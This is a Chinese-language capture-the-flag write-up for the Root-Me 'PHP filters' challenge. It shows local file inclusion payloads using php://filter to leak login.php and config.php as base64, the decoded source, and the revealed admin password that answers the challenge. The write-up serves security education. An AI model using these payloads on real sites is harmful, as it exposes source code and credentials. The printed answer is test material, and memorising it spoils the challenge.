- 来源:Root-Me
- 题型:Web-Server
- 题目:PHP filters
- 分数:25 Points
PHP 的 LFI 漏洞,前置知识可以参考这篇文章: 【Local File Inclusion (LFI) — Web Application Penetration Testing】
开启挑战后注意到:
- 点击 home 后,URL 会添加参数
?inc=accueil.php
- 点击 login 后,URL 会添加参数
?inc=login.php
这已经满足了 LFI 漏洞的特征。
而题目提示是 【PHP filters】,而在 LFI 漏洞利用中, php://filter
的主要作用是查看服务器的本地文件内容。
参考 payload 为 vuln.php?page=php://filter/convert.base64-encode/resource=filepath
,
意思为使用 base64 编码方式查看指定路径的文件内容。
而目前为止,我们知道的两个文件为 accueil.php
和 login.php
,因此我们先后构造两个 payload 如下:
?inc=php://filter/convert.base64-encode/resource=accueil.php
?inc=php://filter/convert.base64-encode/resource=login.php
对于第一个 payload 没有得到有价值的内容,而第二个 payload 返回 base64 编码后的 login.php 页面源码:
PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJuYW1lIl0pICYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKICAgIGlmICgkX1BPU1RbInVzZXJuYW1lIl09PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JkIl09PSRwYXNzd29yZCl7CiAgICAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNrICE8L2gyPiIpOwogICAgICBwcmludCgiVG8gdmFsaWRhdGUgdGhlIGNoYWxsZW5nZSB1c2UgdGhpcyBwYXNzd29yZDxici8+PGJyLz4iKTsKICAgIH0gZWxzZSB7CiAgICAgIHByaW50KCI8aDM+RXJyb3IgOiBubyBzdWNoIHVzZXIvcGFzc3dvcmQ8L2gyPjxiciAvPiIpOwogICAgfQp9IGVsc2Ugewo/PgoKPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgTG9naW4mbmJzcDs8YnIvPgogIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VybmFtZSIgLz48YnIvPjxici8+CiAgUGFzc3dvcmQmbmJzcDs8YnIvPgogIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+PGJyLz48YnIvPgogIDxici8+PGJyLz4KICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY29ubmVjdCIgLz48YnIvPjxici8+CjwvZm9ybT4KCjw/cGhwIH0gPz4=
对其进行 Base64 解码,得到 login.php 的页面源码为:
<?php
include("config.php");
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("<h2>Welcome back !</h2>");
print("To validate the challenge use this password<br/><br/>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
} else {
?>
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
<?php } ?>
其中源码第一行 include("config.php");
包含了一个配置文件 config.php ,而之后则有一个条件语句:
if ($_POST["username"]==$username && $_POST["password"]==$password)
很明显是比较输入的账密与变量 $username
/$password
是否一致,但是没看到这两个变量定义在哪里。
初步推测这两个变量是定义在第一行包含的配置文件 config.php 中。
为此,构造第三个 payload 查看 config.php 的内容:
?inc=php://filter/convert.base64-encode/resource=config.php
得到 config.php 的 Base64 编码内容为:
PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==
解码后得到密码,完成挑战:
<?php
$username="admin";
$password="DAPt9D2mky0APAF";
?>
答案下载
flag 下载后的 flagzip 的文件需要手动更改后缀为
*.zip
,然后解压即可(为了避免直接刷答案)